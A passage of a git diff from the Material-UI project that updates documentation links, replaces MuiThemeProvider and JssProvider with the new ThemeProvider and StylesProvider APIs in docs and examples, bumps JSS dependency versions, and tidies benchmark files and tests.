 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/mzwqkk1p7j)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ### Controlling Priority
 
 Both styled-components and JSS inject their styles at the bottom of the `<head>`.
-One approach to ensuring styled-components styles are loaded last is to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+One approach to ensuring styled-components styles are loaded last is to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 Another approach is to use the `&&` characters in styled-components to [bump up specificity](https://www.styled-components.com/docs/advanced#issues-with-specificity) by repeating the class name.
 Use this to ensure styled-components styles are applied before JSS styles.
@@ -120,7 +120,7 @@ For example, if you attempt to style a [Drawer](/demos/drawers/) with variant `p
 you will likely need to affect the Drawer's child `paper` element.
 
 However, this is not the root element of `Drawer` and therefore styled-components customization as above will not work.
-You can workaround this by using [stable JSS class names](/customization/css-in-js/#global-css), but the most reliable approach is to use the `classes` property to introduce an override style, and then style it with higher specificity via `&`.
+You can workaround this by using [stable JSS class names](/css-in-js/advanced#deterministic-class-names), but the most reliable approach is to use the `classes` property to introduce an override style, and then style it with higher specificity via `&`.
 
 The following example overrides the `label` style of `Button` in addition to the custom styles on the button itself. It also works around [this styled-components issue](https://github.com/styled-components/styled-components/issues/439) by "consuming" properties that should not be passed on to the underlying component.
 
@@ -160,7 +160,7 @@ export default StyledComponentsDeep;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/j4n13yl1r9)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ### ThemeProvider
 
@@ -243,7 +243,7 @@ export default CssModulesButton;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/m4j01r75wx)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ## Emotion
 
@@ -288,7 +288,7 @@ export default EmotionCSS;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/yw93kl7y0j)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ### Styled Components
 
@@ -329,7 +329,7 @@ export default EmotionStyled;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/4q8o1y975w)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ### Deeper elements
 
@@ -338,7 +338,7 @@ For example, if you attempt to style a [Drawer](/demos/drawers/) with variant `p
 you will likely need to affect the Drawer's child `paper` element.
 
 However, this is not the root element of `Drawer` and therefore styled-components customization as above will not work.
-You can workaround this by using [stable JSS class names](/customization/css-in-js/#global-css), but the most reliable approach is to use the `classes` property to introduce an override style, and then style it with higher specificity via `&`.
+You can workaround this by using [stable JSS class names](/css-in-js/advanced#deterministic-class-names), but the most reliable approach is to use the `classes` property to introduce an override style, and then style it with higher specificity via `&`.
 
 The following example overrides the `label` style of `Button` in addition to the custom styles on the button itself.
 
@@ -378,7 +378,7 @@ export default EmotionDeep;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/xj81yqx504)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ### ThemeProvider
 
@@ -391,7 +391,7 @@ the color manipulations, the transitions, the media queries, and more.
 
 Explicitly providing the class names to the component is too much effort?
 Rest assured, we provide an option to make the class names **deterministic** for quick
-prototyping: [`dangerouslyUseGlobalCSS`](/customization/css-in-js/#global-css).
+prototyping: [`dangerouslyUseGlobalCSS`](/css-in-js/advanced#deterministic-class-names).
 
 **GlobalCssButton.css**
 ```css
@@ -426,7 +426,7 @@ export default GlobalCssButton;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/2zv5m0j37p)
 
-**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** JSS injects its styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
 
 ## React JSS
 
@@ -474,7 +474,7 @@ export default injectSheet(styles)(ReactJssButton);
 
 ## CSS to MUI webpack Loader
 
-The [css-to-mui-loader](https://www.npmjs.com/package/css-to-mui-loader) for webpack allows you to write CSS that gets transpiled into JS for use with the [`withStyles()`](/customization/css-in-js/#withstyles-styles-options-higher-order-component) higher-order component. It provides a few hooks for accessing the theme from within the CSS.
+The [css-to-mui-loader](https://www.npmjs.com/package/css-to-mui-loader) for webpack allows you to write CSS that gets transpiled into JS for use with the `withStyles()` higher-order component. It provides a few hooks for accessing the theme from within the CSS.
 
 **webpack.config.js**
 ```js
@@ -570,4 +570,4 @@ export default GlamorButton;
 
 [![Edit Button](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/ov5l1j2j8z)
 
-**Note:** Both Glamor and JSS inject their styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/customization/css-in-js/#css-injection-order), as in the demo.
+**Note:** Both Glamor and JSS inject their styles at the bottom of the `<head>`. If you don't want to mark style attributes with **!important**, you need to change [the CSS injection order](/css-in-js/advanced/#css-injection-order), as in the demo.
diff --git a/docs/src/pages/guides/right-to-left/Direction.js b/docs/src/pages/guides/right-to-left/Direction.js
index dd4451d6daa4c8..3cf5f115979911 100644
--- a/docs/src/pages/guides/right-to-left/Direction.js
+++ b/docs/src/pages/guides/right-to-left/Direction.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import TextField from '@material-ui/core/TextField';
 
 const theme = createMuiTheme({
@@ -8,12 +9,12 @@ const theme = createMuiTheme({
 
 function Direction() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <div dir="rtl">
         <TextField placeholder="Name" />
         <input type="text" placeholder="Name" />
       </div>
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/guides/right-to-left/right-to-left.md b/docs/src/pages/guides/right-to-left/right-to-left.md
index 6f145831666f11..8a09dd17e1e5a5 100644
--- a/docs/src/pages/guides/right-to-left/right-to-left.md
+++ b/docs/src/pages/guides/right-to-left/right-to-left.md
@@ -29,30 +29,24 @@ npm install jss-rtl
 ```
 Having installed the plugin in your project, Material-UI components still require it to be loaded by the jss instance, as described below.
 Internally, withStyles is using this JSS plugin when `direction: 'rtl'` is set on the theme.
-
-The [CSS-in-JS documentation](/customization/css-in-js/#opting-out-of-rtl-transformation) explains a bit more about how this plugin works.
 Head to the [plugin README](https://github.com/alitaheri/jss-rtl) to learn more about it.
 
 Once you have created a new JSS instance with the plugin, you need to make it available to all the components in the component tree.
-JSS has a [`JssProvider`](https://github.com/cssinjs/react-jss) component for this:
+We have a [`StylesProvider`](/css-in-js/api/#stylesprovider) component for this:
 
 ```jsx
 import { create } from 'jss';
 import rtl from 'jss-rtl';
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
+import { StylesProvider, jssPreset } from '@material-ui/styles';
 
 // Configure JSS
 const jss = create({ plugins: [...jssPreset().plugins, rtl()] });
 
-// Custom Material-UI class name generator.
-const generateClassName = createGenerateClassName();
-
 function RTL(props) {
   return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
+    <StylesProvider jss={jss}>
       {props.children}
-    </JssProvider>
+    </StylesProvider>
   );
 }
 ```
diff --git a/docs/src/pages/guides/server-rendering/server-rendering.md b/docs/src/pages/guides/server-rendering/server-rendering.md
index 5e7c765fa1bf6a..fa6f551efba174 100644
--- a/docs/src/pages/guides/server-rendering/server-rendering.md
+++ b/docs/src/pages/guides/server-rendering/server-rendering.md
@@ -58,7 +58,7 @@ app.listen(port);
 The first thing that we need to do on every request is create a new `sheetsRegistry` and `theme` instance.
 
 When rendering, we will wrap `App`, our root component,
-inside a `JssProvider` and [`MuiThemeProvider`](/api/mui-theme-provider/) to make the `sheetsRegistry` and the `theme` available to all components in the component tree.
+inside a [`StylesProvider`](/css-in-js/api/#stylesprovider) and [`ThemeProvider`](/css-in-js/api/#themeprovider) to make the style configuration and the `theme` available to all components in the component tree.
 
 The key step in server-side rendering is to render the initial HTML of our component **before** we send it to the client side. To do this, we use [ReactDOMServer.renderToString()](https://reactjs.org/docs/react-dom-server.html).
 
@@ -67,12 +67,8 @@ We then get the CSS from our `sheetsRegistry` using `sheetsRegistry.toString()`.
 ```jsx
 import ReactDOMServer from 'react-dom/server'
 import { SheetsRegistry } from 'jss';
-import JssProvider from 'react-jss/lib/JssProvider';
-import {
-  MuiThemeProvider,
-  createMuiTheme,
-  createGenerateClassName,
-} from '@material-ui/core/styles';
+import { ThemeProvider, StylesProvider, createGenerateClassName } from '@material-ui/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
 import green from '@material-ui/core/colors/green';
 import red from '@material-ui/core/colors/red';
 
@@ -97,11 +93,15 @@ function handleRender(req, res) {
 
   // Render the component to a string.
   const html = ReactDOMServer.renderToString(
-    <JssProvider registry={sheetsRegistry} generateClassName={generateClassName}>
-      <MuiThemeProvider theme={theme} sheetsManager={sheetsManager}>
+    <StylesProvider
+      registry={sheetsRegistry}
+      generateClassName={generateClassName}
+      sheetsManager={sheetsManager}
+    >
+      <ThemeProvider theme={theme}>
         <App />
-      </MuiThemeProvider>
-    </JssProvider>
+      </ThemeProvider>
+    </StylesProvider>
   )
 
   // Grab the CSS from our sheetsRegistry.
@@ -143,28 +143,21 @@ Let's take a look at our client file:
 ```jsx
 import React from 'react';
 import ReactDOM from 'react-dom';
-import JssProvider from 'react-jss/lib/JssProvider';
-import {
-  MuiThemeProvider,
-  createMuiTheme,
-  createGenerateClassName,
-} from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
 import green from '@material-ui/core/colors/green';
 import red from '@material-ui/core/colors/red';
 import App from './App';
 
-class Main extends React.Component {
-  // Remove the server-side injected CSS.
-  componentDidMount() {
+function Main() {
+  React.useEffect(() => {
     const jssStyles = document.getElementById('jss-server-side');
     if (jssStyles && jssStyles.parentNode) {
       jssStyles.parentNode.removeChild(jssStyles);
     }
-  }
+  }, []);
 
-  render() {
-    return <App />
-  }
+  return <App />;
 }
 
 // Create a theme instance.
@@ -176,15 +169,10 @@ const theme = createMuiTheme({
   },
 });
 
-// Create a new class name generator.
-const generateClassName = createGenerateClassName();
-
 ReactDOM.hydrate(
-  <JssProvider generateClassName={generateClassName}>
-    <MuiThemeProvider theme={theme}>
-      <Main />
-    </MuiThemeProvider>
-  </JssProvider>,
+  <ThemeProvider theme={theme}>
+    <Main />
+  </ThemeProvider>,
   document.querySelector('#root'),
 );
 ```
@@ -193,7 +181,7 @@ ReactDOM.hydrate(
 
 We host different reference implementations which you can find in the [GitHub repository](https://github.com/mui-org/material-ui) under the [`/examples`](https://github.com/mui-org/material-ui/tree/next/examples) folder:
 
-- [The reference implementation of this tutorial](https://github.com/mui-org/material-ui/tree/next/examples/ssr)
+- [The reference implementation of this tutorial](https://github.com/mui-org/material-ui/tree/next/examples/ssr-next)
 - [Gatsby](https://github.com/mui-org/material-ui/tree/next/examples/gatsby-next)
 - [Next.js](https://github.com/mui-org/material-ui/tree/next/examples/nextjs-next)
 
@@ -213,8 +201,6 @@ We rely on a cache, the sheets manager, to only inject the CSS once per componen
 (if you use two buttons, you only need the CSS of the button one time).
 You need to provide **a new `sheetsManager` for each request**.
 
-You can learn more about [the sheets manager concept in the documentation](/customization/css-in-js/#sheets-manager).
-
 *example of fix:*
 ```diff
 -// Create a sheetsManager instance.
@@ -237,7 +223,7 @@ Another symptom is that the styling changes between initial page load and the do
 
 #### Action to Take
 
-The class names value relies on the concept of [class name generator](/customization/css-in-js/#creategenerateclassname-options-class-name-generator).
+The class names value relies on the concept of [class name generator](/css-in-js/advanced/#class-names).
 The whole page needs to be rendered with **a single generator**.
 This generator needs to behave identically on the server and on the client. For instance:
 
diff --git a/docs/src/pages/layout/breakpoints/breakpoints.md b/docs/src/pages/layout/breakpoints/breakpoints.md
index 1f4450f2538dc3..cb105e71b14d35 100644
--- a/docs/src/pages/layout/breakpoints/breakpoints.md
+++ b/docs/src/pages/layout/breakpoints/breakpoints.md
@@ -33,7 +33,7 @@ for controlling the layout of your application through the [Grid](/layout/grid/)
 ## CSS Media Queries
 
 CSS media queries is the idiomatic approach to make your UI responsive.
-We provide four [CSS-in-JS](/customization/css-in-js/) helpers to do so:
+We provide four CSS in JS helpers to do so:
 
 - [theme.breakpoints.up(key)](#theme-breakpoints-up-key-media-query)
 - [theme.breakpoints.down(key)](#theme-breakpoints-down-key-media-query)
diff --git a/docs/src/pages/premium-themes/instapaper/pages/instapaper/withTheme.js b/docs/src/pages/premium-themes/instapaper/pages/instapaper/withTheme.js
index e5bc977c5f7095..d873b01428bcff 100644
--- a/docs/src/pages/premium-themes/instapaper/pages/instapaper/withTheme.js
+++ b/docs/src/pages/premium-themes/instapaper/pages/instapaper/withTheme.js
@@ -1,10 +1,10 @@
 import React from 'react';
-import { MuiThemeProvider } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 
 const withTheme = theme => Component => props => (
-  <MuiThemeProvider theme={theme}>
+  <ThemeProvider theme={theme}>
     <Component {...props} />
-  </MuiThemeProvider>
+  </ThemeProvider>
 );
 
 export default withTheme;
diff --git a/docs/src/pages/premium-themes/onepirate/modules/withRoot.js b/docs/src/pages/premium-themes/onepirate/modules/withRoot.js
index 5b71e5b24e2a0e..1ddab3eba0e730 100644
--- a/docs/src/pages/premium-themes/onepirate/modules/withRoot.js
+++ b/docs/src/pages/premium-themes/onepirate/modules/withRoot.js
@@ -1,17 +1,17 @@
 import React from 'react';
-import { MuiThemeProvider } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import CssBaseline from '@material-ui/core/CssBaseline';
 import theme from './theme';
 
 function withRoot(Component) {
   function WithRoot(props) {
-    // MuiThemeProvider makes the theme available down the React tree thanks to React context.
+    // ThemeProvider makes the theme available down the React tree thanks to React context.
     return (
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}
         <CssBaseline />
         <Component {...props} />
-      </MuiThemeProvider>
+      </ThemeProvider>
     );
   }
 
diff --git a/docs/src/pages/premium-themes/paperbase/Paperbase.js b/docs/src/pages/premium-themes/paperbase/Paperbase.js
index b8a6294fa2aa20..f4c74a55253429 100644
--- a/docs/src/pages/premium-themes/paperbase/Paperbase.js
+++ b/docs/src/pages/premium-themes/paperbase/Paperbase.js
@@ -1,6 +1,7 @@
 import React from 'react';
 import PropTypes from 'prop-types';
-import { MuiThemeProvider, createMuiTheme, withStyles } from '@material-ui/core/styles';
+import { createMuiTheme, withStyles } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import CssBaseline from '@material-ui/core/CssBaseline';
 import Hidden from '@material-ui/core/Hidden';
 import Navigator from './Navigator';
@@ -156,7 +157,7 @@ class Paperbase extends React.Component {
     const { classes } = this.props;
 
     return (
-      <MuiThemeProvider theme={theme}>
+      <ThemeProvider theme={theme}>
         <div className={classes.root}>
           <CssBaseline />
           <nav className={classes.drawer}>
@@ -179,7 +180,7 @@ class Paperbase extends React.Component {
             </main>
           </div>
         </div>
-      </MuiThemeProvider>
+      </ThemeProvider>
     );
   }
 }
diff --git a/docs/src/pages/premium-themes/tweeper/pages/tweeper/withTheme.js b/docs/src/pages/premium-themes/tweeper/pages/tweeper/withTheme.js
index e5bc977c5f7095..d873b01428bcff 100644
--- a/docs/src/pages/premium-themes/tweeper/pages/tweeper/withTheme.js
+++ b/docs/src/pages/premium-themes/tweeper/pages/tweeper/withTheme.js
@@ -1,10 +1,10 @@
 import React from 'react';
-import { MuiThemeProvider } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 
 const withTheme = theme => Component => props => (
-  <MuiThemeProvider theme={theme}>
+  <ThemeProvider theme={theme}>
     <Component {...props} />
-  </MuiThemeProvider>
+  </ThemeProvider>
 );
 
 export default withTheme;
diff --git a/docs/src/pages/system/basics/basics.md b/docs/src/pages/system/basics/basics.md
index 7394117957aa52..673c3eba6a0adf 100644
--- a/docs/src/pages/system/basics/basics.md
+++ b/docs/src/pages/system/basics/basics.md
@@ -10,7 +10,7 @@
 - 🦋 Encourage UI consistency.
 - 🌈 Write responsive style effortlessly.
 - 🦎 Work with any theme object.
-- 💅 Work with the most popular CSS-in-JS solutions.
+- 💅 Work with the most popular CSS in JS solutions.
 - 📦 Less than [4 KB gzipped](https://bundlephobia.com/result?p=@material-ui/system).
 - 🚀 [Fast enough](https://github.com/mui-org/material-ui/blob/next/packages/material-ui-benchmark/README.md#material-uisystem) not to be a bottleneck at runtime.
 
@@ -136,7 +136,7 @@ import { unstable_Box as Box } from '@material-ui/core/Box';
 
 ## Interoperability
 
-`@material-ui/system` works with most CSS-in-JS libraries, including JSS, styled-components, and emotion.
+`@material-ui/system` works with most CSS in JS libraries, including JSS, styled-components, and emotion.
 
 If you are already using `@material-ui/core`, we encourage you to start with the **JSS** solution to minimize bundle size.
 
diff --git a/docs/src/pages/utils/box/box.md b/docs/src/pages/utils/box/box.md
index a820cc01005e91..e5ee519b8a77f7 100644
--- a/docs/src/pages/utils/box/box.md
+++ b/docs/src/pages/utils/box/box.md
@@ -2,15 +2,13 @@
 title: Box React component
 ---
 
-# Box (unstable)
+# Box
 
 <p class="description">The Box component serves as a wrapper component for most of the CSS utility needs.</p>
 
 The Box component packages [all the style functions](/system/basics/#all-inclusive) that are exposed in `@material-ui/system`.
 It's created using the [`styled()`](/css-in-js/api/#styled-style-function-component) function of `@material-ui/styles`.
 
-> ⚠️ "unstable_" APIs may change in any version without respecting semver.
-
 ## Example
 
 [The palette](/system/palette/) style function.
diff --git a/docs/src/pages/utils/popover/SimplePopover.hooks.js b/docs/src/pages/utils/popover/SimplePopover.hooks.js
index 63c68fa5384b42..459d16db167f40 100644
--- a/docs/src/pages/utils/popover/SimplePopover.hooks.js
+++ b/docs/src/pages/utils/popover/SimplePopover.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Popover from '@material-ui/core/Popover';
 import Typography from '@material-ui/core/Typography';
 import Button from '@material-ui/core/Button';
diff --git a/docs/src/pages/utils/popper/SimplePopper.hooks.js b/docs/src/pages/utils/popper/SimplePopper.hooks.js
index 46234420c451c9..5412619137a3a3 100644
--- a/docs/src/pages/utils/popper/SimplePopper.hooks.js
+++ b/docs/src/pages/utils/popper/SimplePopper.hooks.js
@@ -1,5 +1,5 @@
 import React from 'react';
-import { makeStyles } from '@material-ui/styles';
+import { makeStyles } from '@material-ui/core/styles';
 import Popper from '@material-ui/core/Popper';
 import Typography from '@material-ui/core/Typography';
 import Button from '@material-ui/core/Button';
diff --git a/docs/static/_redirects b/docs/static/_redirects
index 889ccad0f015f2..1ab8e471901623 100644
--- a/docs/static/_redirects
+++ b/docs/static/_redirects
@@ -11,6 +11,7 @@
 /utils/popovers /utils/popover/ 301
 /guides/migration-v0.x /guides/migration-v0x/ 301
 /size-snapshot https://s3.eu-central-1.amazonaws.com/eps1lon-material-ui/artifacts/next/latest/size-snapshot.json 200
+/customization/css-in-js/ /css-in-js/basics/ 301
 
 # Legacy
 /v0.20.0 https://v0.material-ui.com/v0.20.0
diff --git a/package.json b/package.json
index c3eb27c69609d3..679e4adc24ca38 100644
--- a/package.json
+++ b/package.json
@@ -133,7 +133,7 @@
     "isomorphic-fetch": "^2.2.1",
     "jsdom": "13.1.0",
     "jsonlint": "^1.6.3",
-    "jss-plugin-template": "^10.0.0-alpha.3",
+    "jss-plugin-template": "^10.0.0-alpha.12",
     "jss-rtl": "^0.2.1",
     "karma": "4.0.0",
     "karma-browserstack-launcher": "^1.3.0",
@@ -166,7 +166,6 @@
     "react-final-form": "^4.0.2",
     "react-frame-component": "^4.0.2",
     "react-inspector": "^2.2.2",
-    "react-jss": "^8.6.1",
     "react-number-format": "^4.0.0",
     "react-redux": "^6.0.0",
     "react-router": "^4.2.0",
@@ -201,8 +200,7 @@
     "webpack-cli": "^3.2.3"
   },
   "resolutions": {
-    "**/hoist-non-react-statics": "^3.2.1",
-    "react-jss/jss": "^10.0.0-alpha.3"
+    "**/hoist-non-react-statics": "^3.2.1"
   },
   "sideEffects": false,
   "nyc": {
diff --git a/packages/material-ui-benchmark/package.json b/packages/material-ui-benchmark/package.json
index 2cb44171c75051..c376df5cfd9256 100644
--- a/packages/material-ui-benchmark/package.json
+++ b/packages/material-ui-benchmark/package.json
@@ -25,12 +25,13 @@
   },
   "license": "MIT",
   "dependencies": {
-    "@emotion/core": "^10.0.0",
-    "@emotion/styled": "^10.0.0",
-    "benchmark": "^2.1.4",
-    "emotion": "^10.0.7",
-    "emotion-server": "^10.0.6",
-    "nodemod": "^1.5.19",
-    "styled-system": "^3.1.11"
+    "@emotion/core": "latest",
+    "@emotion/styled": "latest",
+    "benchmark": "latest",
+    "emotion": "latest",
+    "emotion-server": "latest",
+    "nodemod": "latest",
+    "react-jss": "next",
+    "styled-system": "latest"
   }
 }
diff --git a/packages/material-ui-benchmark/src/bootstrap.js b/packages/material-ui-benchmark/src/bootstrap.js
deleted file mode 100644
index adbc5803a69392..00000000000000
--- a/packages/material-ui-benchmark/src/bootstrap.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import { install } from '@material-ui/styles';
-
-install();
diff --git a/packages/material-ui-benchmark/src/core.js b/packages/material-ui-benchmark/src/core.js
index 9dc736bdd12294..49b2f7323cdfc1 100644
--- a/packages/material-ui-benchmark/src/core.js
+++ b/packages/material-ui-benchmark/src/core.js
@@ -1,6 +1,5 @@
 /* eslint-disable no-console */
 
-import './bootstrap';
 import Benchmark from 'benchmark';
 import React from 'react';
 import ReactDOMServer from 'react-dom/server';
diff --git a/packages/material-ui-benchmark/src/docs.js b/packages/material-ui-benchmark/src/docs.js
index a7c47b91e4e84b..786bd0e2b12fd7 100644
--- a/packages/material-ui-benchmark/src/docs.js
+++ b/packages/material-ui-benchmark/src/docs.js
@@ -1,6 +1,5 @@
 /* eslint-disable no-console */
 
-import './bootstrap';
 import Benchmark from 'benchmark';
 import fs from 'fs';
 import path from 'path';
diff --git a/packages/material-ui-benchmark/src/server.js b/packages/material-ui-benchmark/src/server.js
index a3a99241abd88c..6e667b414cd967 100644
--- a/packages/material-ui-benchmark/src/server.js
+++ b/packages/material-ui-benchmark/src/server.js
@@ -1,6 +1,5 @@
 /* eslint-disable no-console */
 
-import './bootstrap';
 import express from 'express';
 import React from 'react';
 import ReactDOMServer from 'react-dom/server';
diff --git a/packages/material-ui-benchmark/src/styles.js b/packages/material-ui-benchmark/src/styles.js
index 2af43c40c5c8ea..33bb39de17d4a7 100644
--- a/packages/material-ui-benchmark/src/styles.js
+++ b/packages/material-ui-benchmark/src/styles.js
@@ -1,6 +1,5 @@
 /* eslint-disable no-console */
 
-import './bootstrap';
 import Benchmark from 'benchmark';
 import React from 'react';
 import ReactDOMServer from 'react-dom/server';
diff --git a/packages/material-ui-benchmark/src/system.js b/packages/material-ui-benchmark/src/system.js
index 1bd50080111f54..5be26a1a4492f3 100644
--- a/packages/material-ui-benchmark/src/system.js
+++ b/packages/material-ui-benchmark/src/system.js
@@ -1,6 +1,5 @@
 /* eslint-disable no-console */
 
-import './bootstrap';
 import Benchmark from 'benchmark';
 import React from 'react';
 import ReactDOMServer from 'react-dom/server';
diff --git a/packages/material-ui-docs/src/MarkdownElement/textToHash.test.js b/packages/material-ui-docs/src/MarkdownElement/textToHash.test.js
index 0a168b8d451a68..3fc3d42b879a86 100644
--- a/packages/material-ui-docs/src/MarkdownElement/textToHash.test.js
+++ b/packages/material-ui-docs/src/MarkdownElement/textToHash.test.js
@@ -9,6 +9,10 @@ describe('textToHash', () => {
     );
     assert.strictEqual(textToHash('Typography - Font family'), 'typography-font-family');
     assert.strictEqual(textToHash('barre d&#39;application'), 'barre-dapplication');
+    assert.strictEqual(
+      textToHash('createGenerateClassName([options]) => class name generator'),
+      'creategenerateclassname-options-class-name-generator',
+    );
   });
 
   it('should generate a unique hash', () => {
diff --git a/packages/material-ui-lab/src/Slider/Slider.test.js b/packages/material-ui-lab/src/Slider/Slider.test.js
index c4cd0870d278c7..af7518222112cb 100644
--- a/packages/material-ui-lab/src/Slider/Slider.test.js
+++ b/packages/material-ui-lab/src/Slider/Slider.test.js
@@ -23,6 +23,10 @@ describe('<Slider />', () => {
     mount = createMount();
   });
 
+  after(() => {
+    mount.cleanUp();
+  });
+
   function findHandle(wrapper) {
     // Will also match any other react component if not filtered. They won't appear in the DOM
     // and are therefore an implementation detail. We're interested in what the user
diff --git a/packages/material-ui-lab/src/SpeedDialAction/SpeedDialAction.test.js b/packages/material-ui-lab/src/SpeedDialAction/SpeedDialAction.test.js
index 9f4b971071a16c..a29adf1c0bd51c 100644
--- a/packages/material-ui-lab/src/SpeedDialAction/SpeedDialAction.test.js
+++ b/packages/material-ui-lab/src/SpeedDialAction/SpeedDialAction.test.js
@@ -21,10 +21,12 @@ describe('<SpeedDialAction />', () => {
     classes = getClasses(<SpeedDialAction {...defaultProps} />);
   });
 
-  it('should render its component tree without warnings', () => {
-    const wrapper = mount(<SpeedDialAction {...defaultProps} />);
+  after(() => {
+    mount.cleanUp();
+  });
 
-    wrapper.unmount();
+  it('should render its component tree without warnings', () => {
+    mount(<SpeedDialAction {...defaultProps} />);
   });
 
   it('should render a Tooltip', () => {
diff --git a/packages/material-ui-styles/package.json b/packages/material-ui-styles/package.json
index a76681cd77a7d9..c1fb2ac8bde81b 100644
--- a/packages/material-ui-styles/package.json
+++ b/packages/material-ui-styles/package.json
@@ -43,14 +43,14 @@
     "clsx": "^1.0.2",
     "deepmerge": "^3.0.0",
     "hoist-non-react-statics": "^3.2.1",
-    "jss": "^10.0.0-alpha.7",
-    "jss-plugin-camel-case": "^10.0.0-alpha.7",
-    "jss-plugin-default-unit": "^10.0.0-alpha.7",
-    "jss-plugin-global": "^10.0.0-alpha.7",
-    "jss-plugin-nested": "^10.0.0-alpha.7",
-    "jss-plugin-props-sort": "^10.0.0-alpha.7",
-    "jss-plugin-rule-value-function": "^10.0.0-alpha.7",
-    "jss-plugin-vendor-prefixer": "^10.0.0-alpha.7",
+    "jss": "^10.0.0-alpha.12",
+    "jss-plugin-camel-case": "^10.0.0-alpha.12",
+    "jss-plugin-default-unit": "^10.0.0-alpha.12",
+    "jss-plugin-global": "^10.0.0-alpha.12",
+    "jss-plugin-nested": "^10.0.0-alpha.12",
+    "jss-plugin-props-sort": "^10.0.0-alpha.12",
+    "jss-plugin-rule-value-function": "^10.0.0-alpha.12",
+    "jss-plugin-vendor-prefixer": "^10.0.0-alpha.12",
     "prop-types": "^15.7.2",
     "warning": "^4.0.1"
   },
diff --git a/packages/material-ui-styles/src/createStyles.js b/packages/material-ui-styles/src/createStyles.js
index 8006f5c6b13606..a8ed89c964397d 100644
--- a/packages/material-ui-styles/src/createStyles.js
+++ b/packages/material-ui-styles/src/createStyles.js
@@ -1,11 +1,3 @@
-/**
- * This function doesn't really "do anything" at runtime, it's just the identity
- * function. Its only purpose is to defeat TypeScript's type widening when providing
- * style rules to `withStyles` which are a function of the `Theme`.
- *
- * @param styles a set of style mappings
- * @returns the same styles that were passed in
- */
 export default function createStyles(styles) {
   return styles;
 }
diff --git a/packages/material-ui-styles/src/index.js b/packages/material-ui-styles/src/index.js
index 565dcebb3b27d5..1832b0f3c4387b 100644
